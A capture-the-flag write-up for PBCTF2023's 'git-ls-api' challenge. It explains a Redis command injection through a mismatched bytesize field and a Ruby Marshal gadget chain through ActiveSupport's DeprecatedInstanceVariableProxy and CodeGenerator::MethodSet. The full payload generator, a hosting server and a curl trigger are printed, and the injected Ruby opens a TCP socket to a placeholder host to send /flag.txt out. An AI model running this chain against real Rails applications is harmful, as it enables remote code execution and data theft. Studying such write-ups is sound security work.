PBCTF2023 git-ls-api

We are given the source to a simple service which displays the SHA hash and file list for a github project. We can also provide an api_endpoint and it will retrieve from our host instead.

the index endpoint invokes octokit to retrieve the SHA and tree of the target repo. While searching the net to understand how Octokit works, I found a gitlab bug where the importer could be hijacked via improper passing of a SawyerResource object to a caching function. The bug in this challenge wound up being almost identical, but using the built in rails redis cacher rather than being in gitlab’s methods.

The redis command serializer assumes that it will receive a normal flat bytelike or string object, and uses to_s to get the value and bytesize to compute the length. SawyerResource objects are automagic structs produced directly from our input JSON, so we can set those to mismatch when constructing the RESP command string (it doesn’t check that it’s the builtin bytesize method and not just a field on the input). This lets us inject redis commands directly by using something like:

exploit = {"sha": {"to_s": { "to_s": { "to_s": { "b":{
           "to_s":f"AA\r\n$2\r\nPX\r\n$2\r\n10\r\n*5\r\n$3\r\nset\r\n${len(target)}\r\n{target}\r\n${len(payload)}\r\n{payload}\r\n$2\r\nPX\r\n$6\r\n300000\r\n",
            "bytesize":2
            }}}}},"tree": [{"path":"pwnedbyPFS"}]}

The serializer will process the length of the innermost string as 2 but insert the entire string into the command. By completing the remaining fields as part of our input, then starting a new command with the * character, we can inject additional commands. Here, I’m invoking a set command. Once we have command injection, we still need some way of gaining additional control to read the flag from disk.

The redis connector is invoked with raw: True for both directly controlled fields, but there’s a third value stored for every connection which doesn’t have that

 def session
    Rails.cache.fetch(session_id, expires_in: 5.minutes) do
      { created_at: DateTime.now }
    end.to_json
  end

Values fetched without raw: True will be unmarshalled, leading to a classic ruby unmarshalling exploit. We can use redis injection to set our session_id in the redis server to controlled data, then trigger it to be unmarshalled.

I wasted a ton of time once I got to this point, but I didn’t really know what I was doing. I’ll try to explain ruby unmarshalling best I can, but there are numerous other resources worth reading.

Ruby unmarshalling exploits require a “gadget chain” (somewhat analogous to ROP chaining, i.e., reusing existing code). When unmarshalling an object, ruby will invoke the marshal_load and _load. There are nuanced differences between the two, for more info check this link. A typical ruby gadget chain will start with an object which has a marshal_load implementation, although from my research, increasingly many exploit chains utilize more complex gadgets or indirect effects rather than directly using marshal_load. Whatever the initial mechanism, the general technique is to utilize ruby class which, when unmarshalled, allows you to invoke other useful functions (e.g., by setting the value of a member variable which will be invoked). Ultimately, you want to invoke a sink function which gets arbitrary ruby execution, or other behavior (e.g. shell execution) as determined by the constraints of your expoit.

I was able to replicate a few different gadget options I found online to kick off the chain. The easiest wound up being the ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy gadget. This gadget lets us invoke any method (without arguments) on any class. I will briefly describe the DeprecatedInstanceVariableProxy gadget, but definately read the source and check out other writeups for more information.

The DeprecatedInstanceVariableProxy implements method_missing which will be invoked when any unfound method is called on the class:

def method_missing(called, *args, &block)
    @deprecator.warn(@message, caller_locations)
    target.__send__(called, *args, &block)
end

Target is implemented as:

class DeprecatedInstanceVariableProxy < DeprecationProxy
    def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
        @instance = instance
        @method = method
        @var = var
        @deprecator = deprecator
    end

    private
    def target
        @instance.__send__(@method)
    end

    def warn(callstack, called, args)
          @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
        end
    end

By setting @method and @instance, we can invoke any function on any class. We instantiate the deprecator as follows:

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set(:@instance, CLASS)
depr.instance_variable_set(:@method, :METHOD)
depr.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@var, "@METHOD")
d2 = ActiveSupport::Deprecation.new
d2.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@deprecator, d2)

Replacing CLASS with an instance of our target class, and METHOD with our target method, we can invoke CLASS.METHOD. Note that the target method must have no arguments.

At this point, I had to go digging, as all of the sink function I’ve seen people mention have been patched (e.g., ActiveModel::AttributeMethods::ClassMethods::CodeGenerator).

I discovered ActiveSupport::CodeGenerator::MethodSet, which has a function apply which calls module_eval on an instance variable (very similar to how the DIVP gadget has been used before)

def apply(owner, path, line)
  unless @sources.empty?
    @cache.module_eval("# frozen_string_literal: true\n" + @sources.join(";"), path, line)
  end
  @methods.each do |name, as|
    owner.define_method(name, @cache.instance_method(as))
  end
end

We can’t invoke the apply method directly (as it requires three arguments), but examining the surrounding code we can instantiate an ActiveSupport::CodeGenerator and it’s child MethodSet and invoke execute on the CodeGenerator:

def execute
  @namespaces.each_value do |method_set|
    method_set.apply(@owner, @path, @line - 1)
  end
end

From here, exploitation is simple, as we have arbitrary ruby. I chose to open a TCP connection to my host, and dump the flag out, rather than trying to inject it into the HTTP response or invoking shell commands.

Here’s my code to generate the payload:

class ActiveSupport
    class Deprecation
        class DeprecatedInstanceVariableProxy
            def initialize(instance, method)
                @instance = instance
                @method = method
            end
       end
    end
    class CodeGenerator
        class MethodSet
            METHOD_CACHES = Hash.new 
            def initialize(instance, method)
                @instance = instance
                @method = method
            end
        end
    end
end


methodset = ActiveSupport::CodeGenerator::MethodSet.allocate
methodset.instance_variable_set(:@sources, ["f=TCPSocket.open(\"IP_ADDRESS_HERE\",1234)", "t=File.read(\"/flag.txt\")", "f.puts(t)"]) #;
methodset.instance_variable_set(:@cache, Module.class)

codegen   = ActiveSupport::CodeGenerator.allocate
codegen.instance_variable_set(:@owner, "OWNER")
codegen.instance_variable_set(:@path, "PATH")
codegen.instance_variable_set(:@line, 1)
codegen.instance_variable_set(:@namespaces, {"1"=>methodset})

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set(:@instance, codegen)
depr.instance_variable_set(:@method, :execute)
depr.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@var, "@execute")
d2 = ActiveSupport::Deprecation.new
d2.instance_variable_set(:@silenced, true)
depr.instance_variable_set(:@deprecator, d2)

Marshal.dump(depr)

I host it with python and invoke the server twice with curl. The first invokation sets the session variable in the redis cache, and the second causes it to be unmarshalled.

#!/usr/bin/env python3

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
import json
payload = "put_payload_here"
target = "put_sessionID_here"
exploit = {"sha": {"to_s": { "to_s": { "to_s": { "b":{
           "to_s":f"AA\r\n$2\r\nPX\r\n$2\r\n10\r\n*5\r\n$3\r\nset\r\n${len(target)}\r\n{target}\r\n${len(payload)}\r\n{payload}\r\n$2\r\nPX\r\n$6\r\n300000\r\n",
            "bytesize":2
            }}}}},"tree": [{"path":"pwnedbyPFS"}]}
pwn = json.dumps(exploit).encode("utf-8")


class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed_path = urlparse(self.path)
        self.send_response(200)
        self.send_header('Content-type', 'application/vnd.github.v3+json')
        self.end_headers()
        
        self.wfile.write(pwn)
        
        return
    
if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 80), RequestHandler)
    server.serve_forever()

curl -vv -c -b "./cookie" --path-as-is http://git-ls-api.chal.perfect.blue/a/B?api_endpoint=http://your_endpoint.net